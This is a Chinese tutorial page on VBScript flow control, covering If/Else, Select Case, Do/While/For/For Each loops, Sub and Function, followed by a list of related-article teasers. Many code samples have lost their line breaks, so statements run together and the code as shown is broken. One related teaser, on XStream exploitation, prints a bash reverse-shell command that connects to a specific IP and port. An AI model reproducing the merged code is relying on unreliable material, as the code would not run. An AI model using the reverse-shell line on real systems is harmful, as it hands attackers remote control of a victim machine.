VBS 流程控制

一. if else 和 selec case

1. if + end if

Dim a
a=2If a=0 ThenMsgBox "這里是0"End if

2. if? +? else? +? end if

Dim a
a=2If a=0 ThenMsgBox "這里是0"Else
MsgBox "這里是2" '彈窗“這里是2”End if

3. if -----elseif-------else-------end if

Dim a
a=2If a=0 Then
MsgBox "這里是0"ElseIf a=1 Then
MsgBox "這里是1"Else
MsgBox "這里是2" '彈窗“這里是2”End if

4.?Select Case

Dim a
a=2Select Case a
Case 0 MsgBox "你好0"
Case 1 MsgBox "你好1"
Case 2 MsgBox "你好2"
'Case Else MsgBox "都不對啊大哥"End select

二. 使用循環語句

  • Do...Loop: 當(或直到)條件為?True?時循環。
  • While...Wend: 當條件為?True?時循環。
  • For...Next: 指定循環次數,使用計數器重復運行語句。
  • For Each...Next:對于集合中的每項或數組中的每個元素,重復執行一組語句。

1. do while/until loop

'do while 當...的時候干啥
'do until 一直干啥,直到....
'exit do 直接退出循環
'loopDim a
a=0Do While a<3
a=a+1
MsgBox a '會先后彈窗1,2,3loop
Dim a
a=0'一直循環,直到a>3. 會彈窗1,2,3,4
do until a>3a=a+1msgbox aloop

2. while wend 循環

Dim a
a=0while a<3a=a+1msgbox a '彈窗1,2,3
wend

3. for next

dim a,b
a=0
b=10
For i = 0 To 5 '循環0,1...5. 共6次'a=a+1b=b-1'彈窗 1+9,2+8, 3+7, 4+6, 5+5, 6+4msgbox a & "+" & bNext

4. For Each...Next?針對集合中的每個項目或者數組中的每個元素來重復運行某段代碼

dim k(2)
k(0)=3
k(1)=2
k(2)=1for each elemnt in kmsgbox elemnt '彈窗3,2,1'
next

三. VBS子程序

1. sub: 子程序。可以帶參數,但不返回值。

'調用子程序'
test(",sb")'定義子程序'
sub test(a)msgbox "hello" &  a '彈窗 hello,sb '
end sub

2. function: 函數。可以帶參數,可以返回值。

'function,函數,可以傳參數,可以返回值'function test(a,b)test = a+b
end functionc = test(3,4)msgbox c

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/95218.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/95218.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/95218.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

HCIP項目之OSPF綜合實驗

一、項目背景隨著企業分支機構地理分散化&#xff0c;跨地域網絡互聯需求激增。MGRE&#xff08;多點 GRE&#xff09;技術因適應動態拓撲、降低鏈路成本&#xff0c;成為多分支互聯的常用方案&#xff1b;OSPF 作為鏈路狀態路由協議&#xff0c;適用于大型網絡且支持可變長子網…

class and enmu class

傳統枚舉與作用域污染及enum class的詳細介紹在編程中&#xff0c;枚舉&#xff08;enum&#xff09;是一種常見的特性&#xff0c;用于定義一組命名的常量。傳統枚舉&#xff08;如C中的enum&#xff09;雖然簡單易用&#xff0c;但容易導致作用域污染問題。而enum class&…

Numpy科學計算與數據分析:Numpy數組屬性入門之形狀、維度與大小

Numpy數組屬性探索 學習目標 通過本課程的學習&#xff0c;學員將掌握Numpy數組的基本屬性&#xff0c;如形狀&#xff08;shape&#xff09;、維度&#xff08;ndim&#xff09;和大小&#xff08;size&#xff09;&#xff0c;并能夠通過實際操作加深對這些屬性的理解。 相…

IF 33.3+ 通過多區域單細胞測序解析肺腺癌的空間和細胞結構

通過多區域單細胞測序解析肺腺癌的空間和細胞結構摘要對于肺腺癌演進過程中單個細胞群的地理空間架構知之甚少。在此&#xff0c;我們對來自5例早期LUAD和14個來自腫瘤的具有明確空間鄰近性的多區域正常肺組織的186&#xff0c;916個細胞進行了單細胞RNA測序。我們發現細胞譜系…

【Redis的安裝與配置】

一&#xff1a;下載 Redis ? 百度網盤分享 &#x1f449; https://pan.baidu.com/s/1xkrLlyUPyM0btCFFpGEhcw?pwdSVIP ? 從Github下載 &#x1f449; https://github.com/MicrosoftArchive/redis/releases 二&#xff1a;安裝 Redis 1?? 將下載的壓縮包文件 解壓到 某個文…

TDSQL GTS文件說明

基于時間點恢復&#xff1a;全備xlogGTS文件 在TDSQL的備份恢復體系中&#xff0c;GTS文件是全局時間戳&#xff08;Global Timestamp&#xff09;的存儲載體&#xff0c;用于記錄事務在分布式環境中的精確執行順序和時間點 其核心作用體現在以下方面&#xff1a; 1?。時間基準…

全星APQP數字化平臺在汽車零部件行業的深度應用與效益分析

全星APQP數字化平臺在汽車零部件行業的深度應用與效益分析 全星研發項目管理APQP軟件系統是專為汽車零部件行業打造的數字化研發管理平臺&#xff0c;通過深度集成行業核心工具鏈&#xff0c;實現從產品設計到量產的全程可控。以下為該系統在汽車零部件行業的應用解析&#xf…

網絡通信安全:HTTPS協議的密碼學基石

引言&#xff1a;從HTTP到HTTPS的安全升級 在網絡通信中&#xff0c;數據傳輸的安全性至關重要。早期的HTTP協議采用明文傳輸&#xff0c;存在三大安全隱患&#xff1a; 機密性問題&#xff1a;數據在傳輸過程中可能被竊聽&#xff08;如公共Wi-Fi中的監聽&#xff09;&#xf…

pip 和 conda,到底用哪個安裝?

為什么 pip 有時裝不下來而 --prefer-binary 可以&#xff1f;什么是源代碼發行版&#xff1f;什么是輪子&#xff1f;conda 和 pip 有什么區別&#xff1f;優先用誰啊&#xff1f;兩者適合的場景&#xff08;何時用哪個&#xff09;安裝路徑&#xff1a;pip / conda 分別裝到哪…

bert學習

首先了解一下幾種embedding。比如elmo就是一個embedding模型。one-hot編碼只能實現one word one embedding&#xff0c;而我們的elmo能實現one token one embeddingElmo是基于雙向LSTM&#xff0c;所以每個詞其實會有正向和反向兩個預測結果&#xff0c;那么我們用哪個呢&#…

Java安全-組件安全

一、Xstream啟動環境并訪問接下來我們構造反彈shell語句&#xff0c;bash -i >& /dev/tcp/8.152.2.86/9999 0>&1&#xff0c;緊接著對其進行base64編碼。接下來使用命令即可首先開啟監聽接下來執行命令接下來抓包對其進行payload構造即可緊接著回去查看回顯發現成…

【10】微網優聯——微網優聯 嵌入式技術一面,校招,面試問答記錄

微網優聯——微網優聯 嵌入式技術一面&#xff0c;校招&#xff0c;問答記錄 1. 2 分鐘簡單自自我介紹2. 問一遍筆試題目3. IP地址在哪個層4.手動配置過IP地址嗎?要配哪幾個&#xff1f;5. ARP 是域名找IP地址還是IP地址找域名?6. Linux、計算機網絡、操作系統掌握的怎么樣&a…

C#使用EPPlus讀寫Excel

依賴EPPlus 獲取依賴可以閱讀:Nuget For Unity插件介紹_nugetforunity-CSDN博客 可以參閱該篇快速入門:在Unity中使用Epplus寫Excel_unity epplus-CSDN博客 下面是我封裝的幾個方法: 要在合適的時機配置許可證,比如你的工具類的靜態函數.建議使用版本7.7.1 #region Excel封裝,…

高性能Web服務器

一、Web服務基礎介紹 1.1、互聯網發展歷程 1993年3月2日&#xff0c;中國科學院高能物理研究所租用AT&T公司的國際衛星信道建立的接入美國SLAC國家實驗室的64K專線正式開通&#xff0c;成為我國連入Internet的第一根專線。 1995年馬云開始創業并推出了一個web網站中國黃…

《算法導論》第 16 章 - 貪心算法

大家好&#xff01;今天我們來深入探討《算法導論》第 16 章的核心內容 —— 貪心算法。貪心算法是一種在每一步選擇中都采取在當前狀態下最好或最優&#xff08;即最有利&#xff09;的選擇&#xff0c;從而希望導致結果是全局最好或最優的算法。它在許多優化問題中都有廣泛應…

Redis面試精講 Day 18:Redis網絡優化與連接管理

【Redis面試精講 Day 18】Redis網絡優化與連接管理 開篇 歡迎來到"Redis面試精講"系列第18天&#xff0c;今天我們將深入探討Redis網絡優化與連接管理技術。在分布式系統中&#xff0c;Redis的網絡性能和連接管理直接影響整個系統的響應速度和穩定性。掌握這些優化…

Centos8系統在安裝Git包時,報錯:“沒有任何匹配: git”

報錯類型&#xff1a; sudo dnf install git Repository AppStream is listed more than once in the configuration Repository BaseOS is listed more than once in the configuration Repository extras is listed more than once in the configuration Repository fasttrac…

glide緩存策略和緩存命中

一 緩存策略 1 Glide 的 diskCacheStrategy() 一共有 5 種枚舉值&#xff08;DiskCacheStrategy&#xff09;&#xff0c;每種的作用和區別如下&#xff1a;1. DiskCacheStrategy.ALL 作用&#xff1a;同時緩存原始圖片&#xff08;原圖數據&#xff09;和經過變換&#xff08;…

如何將PDF文檔進行高效編輯處理!

PDF文件可以在任何設備上以相同的格式查看&#xff0c;無論操作系統或軟件環境如何&#xff0c;可以確保修改后的文檔仍然保持原有的布局和格式。它完全免費&#xff0c;下載后雙擊即可運行&#xff0c;無需安裝&#xff0c;使用非常方便。它具備出色的文本編輯功能&#xff0c…

應用層模擬面試題

模擬面試-C第一題(開發音視頻處理模塊)在開發音視頻處理模塊時&#xff0c;FFmpeg資源&#xff08;AVFrame*&#xff09;需要自動釋放。如何用unique_ptr定制刪除器替代手動av_frame_free()&#xff1f;寫出代碼并解釋RAII優勢。參考答案&#xff1a;auto frame_deleter[](AVFr…